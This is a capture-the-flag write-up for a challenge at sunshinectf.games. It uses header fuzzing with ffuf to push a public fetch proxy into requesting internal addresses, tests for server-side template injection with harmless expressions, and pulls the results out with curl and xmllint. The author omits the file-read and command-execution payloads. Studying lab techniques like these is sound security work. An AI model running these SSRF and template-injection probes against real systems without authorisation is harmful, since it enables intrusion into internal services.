Concise, copy-paste friendly steps. This document intentionally omits any payloads that perform file reads or remote command execution. It documents how to find the proxy, identify an SSTI, and extract the templated output (the safe portion inside <pre>).
Found a public fetch/proxy endpoint that can reach internal addresses. By fuzzing headers we discovered an access header that allows requests to internal hosts. The internal webapp renders a user-supplied URL content into the page using a template engine — confirmed with harmless template tests (arithmetic / string concatenation). The rendered output appears inside a <pre> block which we can extract programmatically.
Basic checks:
# DNS / reachability host wormhole.sunshinectf.games ping -c3 wormhole.sunshinectf.games # quick curl to the proxy homepage (TLS / HTTP/2) curl -v https://wormhole.sunshinectf.games/
Use a header fuzzing tool (example with ffuf
) to find headers that change proxy behavior.
Example (safe): iterate candidate header names/values and look for non-403 / different status codes.
ffuf -u 'https://wormhole.sunshinectf.games/fetch?url=http://127.0.0.1/' \ -H 'FUZZ: true' \ -w headers.txt -t 50 -mc 502,200,500 -fs 0 -c -v
From fuzzing we observed a header that toggled access (for example: Allow: true
or X-Backend-Access: true
).
The proxy accepts both GET query parameters and POST form submissions. To test the server's fetch behaviour using a POST form (safe template probes):
curl -s -X POST \ -H 'Allow: true' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'url=http://127.0.0.1:8000/admin?template={{7*7}}' \ 'https://wormhole.sunshinectf.games/fetch'
This will show the server rendering the template expression (e.g. 49
) in the response body.
Use harmless template expressions that do not access files or run shell commands:
# arithmetic test --data-urlencode 'url=http://127.0.0.1:8000/admin?template={{7*7}}' # string concat --data-urlencode 'url=http://127.0.0.1:8000/admin?template={{"a"+"b"}}' # built-in filter example (non-dangerous) --data-urlencode 'url=http://127.0.0.1:8000/admin?template={{"hello"|upper}}'
These indicate a template engine (Jinja-like) is rendering user content. Do not run payloads that read local files or execute commands in the wild — for sanctioned CTF labs you already confirmed those behaviors yourself.
If the rendered value appears inside a <pre> block, you can extract it with common CLI tools.
# Option: grep + Perl regex (GNU grep with -P and -z) curl -s -X POST -H 'Allow: true' -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'url=http://127.0.0.1:8000/admin?template={{7*7}}' \ 'https://wormhole.sunshinectf.games/fetch' \ | grep -Poz '(?s)(?<=<pre>).*?(?=</pre>)' \ | tr -d '\0' # Option: sed (works ifcontent is single-line) curl ... | sed -n 's/.*<pre>\(.*\)<\/pre>.*/\1/p' # Option: xmllint (more robust for multi-line content) curl ... \ | xmllint --html --xpath "string(//pre)" - 2>/dev/nullChoose a method that matches the HTML shape you receive. The
xmllint
approach is robust for multi-line <pre> content.
Example: loop a list of internal paths and extract <pre> results programmatically.
BASE='https://wormhole.sunshinectf.games/fetch' HDR='Allow: true' # replace with header discovered by fuzzing paths=(/ /admin /health /status /metrics) for p in "${paths[@]}"; do echo "== $p ==" curl -s -X POST -H "$HDR" -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "url=http://127.0.0.1${p}?template={{7*7}}" \ "$BASE" \ | xmllint --html --xpath "string(//pre)" - 2>/dev/null echo done
This is purely automation to find where the template output appears. Replace the safe template expression with similarly harmless probes as needed.
This write-up documents the discovery steps and safe verification techniques (SSTI detection with arithmetic/strings), plus pragmatic extraction of the templated output from <pre> blocks. I intentionally omitted any templates that read files or spawn commands. Use the methods above to find where the template engine exposes renderer output and to extract it in a reproducible way.